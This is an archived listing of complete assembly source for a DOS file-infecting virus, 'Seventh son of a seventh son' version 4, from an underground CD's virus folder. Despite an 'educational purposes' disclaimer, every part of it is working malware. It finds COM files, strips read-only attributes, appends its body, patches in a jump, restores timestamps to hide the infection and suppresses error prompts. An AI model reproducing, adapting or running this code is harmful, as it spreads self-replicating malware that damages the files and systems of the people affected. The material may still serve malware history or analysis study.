home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 7son4.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.0 KB  |  218 lines
  1. ;****************************************************************************
  2. ;*  Seventh son of a seventh son    version 4
  3. ;*
  4. ;*  Compile with MASM 4.0
  5. ;*  (other assemblers will probably not produce the same result)
  6. ;*
  7. ;*  Disclaimer:
  8. ;*  This file is only for educational purposes. The author takes no
  9. ;*  responsibility for anything anyone does with this file. Do not
  10. ;*  modify this file!
  11. ;****************************************************************************
  12.  
  13. cseg            segment
  14.                 assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  15.  
  16.                 .RADIX  16
  17.  
  18. FILELEN         equ     end - start
  19. MINTARGET       equ     1000d
  20. MAXTARGET       equ     -(FILELEN+40)
  21.  
  22.  
  23.  
  24. ;****************************************************************************
  25. ;*              Dummy program (infected)
  26. ;****************************************************************************
  27.  
  28.                 org     100
  29.  
  30. begin:          db      4Dh                     ;virus mark
  31.                 db      0E9h, 4, 0              ;jump to virus entry
  32.  
  33.  
  34. ;****************************************************************************
  35. ;*              Begin of the virus
  36. ;****************************************************************************
  37.  
  38. start:          db      0CDh,  20h, 0, 0
  39.  
  40.                 cld
  41.                 mov     si,0100h
  42.                 push    si                      ;push new IP on stack
  43.                 mov     di,si
  44.                 add     si,[si+2]               ;si -> start
  45.  
  46.                 push    si                      ;restore original begin
  47.                 movsw
  48.                 movsw
  49.                 pop     si
  50.  
  51.                 mov     ax,3300h                ;get ctrl-break flag
  52.                 int     21
  53.                 push    dx
  54.  
  55.                 cwd                             ;clear the flag
  56.                 inc     ax
  57.                 push    ax
  58.                 int     21
  59.  
  60.                 mov     ax,3524h                ;get int24 vector
  61.                 int     21
  62.                 push    bx
  63.                 push    es
  64.  
  65.                 lea     dx,[si+(offset ni24 - 0104)]  ;set new int24 vector
  66.                 mov     ah,25h
  67.                 push    ax
  68.                 int     21
  69.  
  70.                 mov     ah,2Fh                  ;get DTA adres
  71.                 int     21
  72.                 push    es
  73.                 push    bx
  74.  
  75.                 add     dx,070h                 ;set new DTA adres
  76.                 mov     ah,1Ah
  77.                 int     21
  78.                 add     dx,1Eh
  79.                 push    dx
  80.  
  81.                 lea     di,[si+(offset generation-0104)]  ;check generation
  82.                 cmp     [di],0707h
  83.                 jne     verder
  84.  
  85.                 lea     dx,[di+2]               ;7th son of a 7th son!
  86.                 mov     ah,09h
  87.                 int     21
  88.  
  89. verder:         mov     ax,[di]                 ;update generations
  90.                 xchg    ah,al
  91.                 mov     al,1
  92.                 mov     [di],ax
  93.  
  94.                 lea     dx,[di+33d]             ;find first COM-file
  95.                 xor     cx,cx
  96.                 mov     ah,4Eh
  97. infloop:        int     21
  98.                 pop     dx
  99.                 jc      stop
  100.  
  101.                 push    dx
  102.  
  103.                 xor     cx,cx                   ;clear read-only-arttribute
  104.                 mov     ax,4301
  105.                 int     21
  106.                 jc      return1
  107.  
  108.                 mov     ax,3D02h                ;open the file
  109.                 int     21
  110.                 jc      return1
  111.                 xchg    bx,ax
  112.  
  113.                 mov     ax,5700h                ;get file date & time
  114.                 int     21
  115.                 push    cx
  116.                 push    dx
  117.  
  118.                 mov     cx,4                    ;read begin of file
  119.                 mov     dx,si
  120.                 mov     ah,3fh
  121.                 int     21
  122.  
  123.                 cmp     byte ptr [si],4Dh       ;already infected or an EXE?
  124.                 je      return2
  125.                 cmp     byte ptr [si],5Ah       ;or a weird EXE?
  126.                 je      return2
  127.  
  128.                 mov     al,2                    ;go to end of file
  129.                 call    seek
  130.  
  131.                 cmp     ax,MAXTARGET            ;check length of file
  132.                 jnb     return2
  133.                 cmp     ax,MINTARGET
  134.                 jbe     return2
  135.  
  136.                 push    ax
  137.                 mov     cx,FILELEN              ;write program to end of file
  138.                 mov     ah,40h
  139.                 int     21
  140.                 cmp     ax,cx                   ;are all bytes written?
  141.                 pop     ax
  142.                 jnz     return2
  143.  
  144.                 xchg    ax,bp
  145.                 mov     al,0                    ;go to begin of file
  146.                 call    seek
  147.  
  148.                 mov     word ptr [si],0E94Dh    ;write mark and jump-command
  149.                 mov     word ptr [si+2],bp
  150.                 mov     ah,40h
  151.                 int     21
  152.  
  153.                 inc     byte ptr [di]           ;number of next son
  154.  
  155. return2:        pop     dx                      ;restore file date & time
  156.                 pop     cx
  157.                 mov     ax,5701h
  158.                 int     21
  159.  
  160.                 mov     ah,3Eh                  ;close the file
  161.                 int     21
  162.  
  163. return1:        mov     ah,4Fh                  ;find next file
  164.                 jmp     short infloop
  165.  
  166. stop:           pop     dx                      ;restore DTA adres
  167.                 pop     ds
  168.                 mov     ah,1Ah
  169.                 int     21
  170.  
  171.                 pop     ax                      ;restore int24 vector
  172.                 pop     ds
  173.                 pop     dx
  174.                 int     21
  175.  
  176.                 pop     ax                      ;restore ctrl-break flag
  177.                 pop     dx
  178.                 int     21
  179.  
  180.                 push    cs
  181.                 push    cs
  182.                 pop     ds
  183.                 pop     es
  184.  
  185.                 ret
  186.  
  187. seek:           mov     ah,42
  188.                 cwd
  189. int21:          xor     cx,cx
  190.                 int     21
  191.                 mov     cl,4
  192.                 mov     dx,si
  193.                 ret
  194.  
  195.  
  196. ;****************************************************************************
  197. ;*              Interupt handler 24
  198. ;****************************************************************************
  199.  
  200. ni24:           mov     al,03
  201.                 iret
  202.  
  203.  
  204. ;****************************************************************************
  205. ;*              Data
  206. ;****************************************************************************
  207.  
  208. generation      db      1,1
  209. sontxt          db      'Seventh son of a seventh son',0Dh, 0Ah, '$'
  210. filename        db      '*.COM',0
  211.                 db      'é¿░│▒'
  212.  
  213. end:
  214.  
  215. cseg            ends
  216.                 end     begin
  217.  
  218.